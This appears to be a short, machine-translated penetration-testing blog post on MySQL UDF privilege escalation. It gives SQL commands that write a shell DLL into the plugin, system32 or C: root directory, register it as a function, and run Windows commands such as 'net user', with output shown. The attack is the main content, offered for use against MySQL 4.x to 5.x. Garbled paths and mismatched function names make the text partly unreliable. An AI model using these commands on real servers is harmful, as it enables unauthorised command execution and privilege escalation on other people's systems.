Mysql Privilege Escalation udf method update

Heimian

Recently, mysql udf was used for penetration. It was found that the DLL cannot be registered by exporting methods under system32. Some new mysql versions were changed to the plug-in directory.

Mysql> select @ version;
+ ---- +
| @ Version |
+ ---- +
| 5.1.41 |
+ ---- +
1 row in set (0.00 sec)

Mysql> select data from shell into DUMPFILE '. \ lib \ plugin \ UDF. DLL ';
 

ERROR 1 (HY000): Can't create/write to file 'program FilesxamppmysqldatalibpluginUDF. DLL '(Errcode: 2)
Mysql>

This method exposes the plug-in installation directory. The following is a general export method:

Mysql> select data from shell into DUMPFILE '.. \ lib \ plugin \ UDF. DLL ';
Query OK, 1 row affected (0.00 sec)
..................
Mysql> select mongoshell('cmd.exe/c net user ');
 

\ User Account

---------------------------

_ Vmware_user _ Administrator ASPNET
Guest HelpAssistant SUPPORT_388945a0
Change your mysqludf:
Select data from shell into DUMPFILE '.. \ lib \ plugin \ UDF. DLL ';
Select data from shell into DUMPFILE 'C: \ windows \ system32 \ UDF. DLL ';
Select data from shell into DUMPFILE 'C: \ UDF. DLL '; // some versions can only be in the c root directory
Create Function example shell returns string soname 'udf. DLL ';
This is more general, effective for 4. x-5.x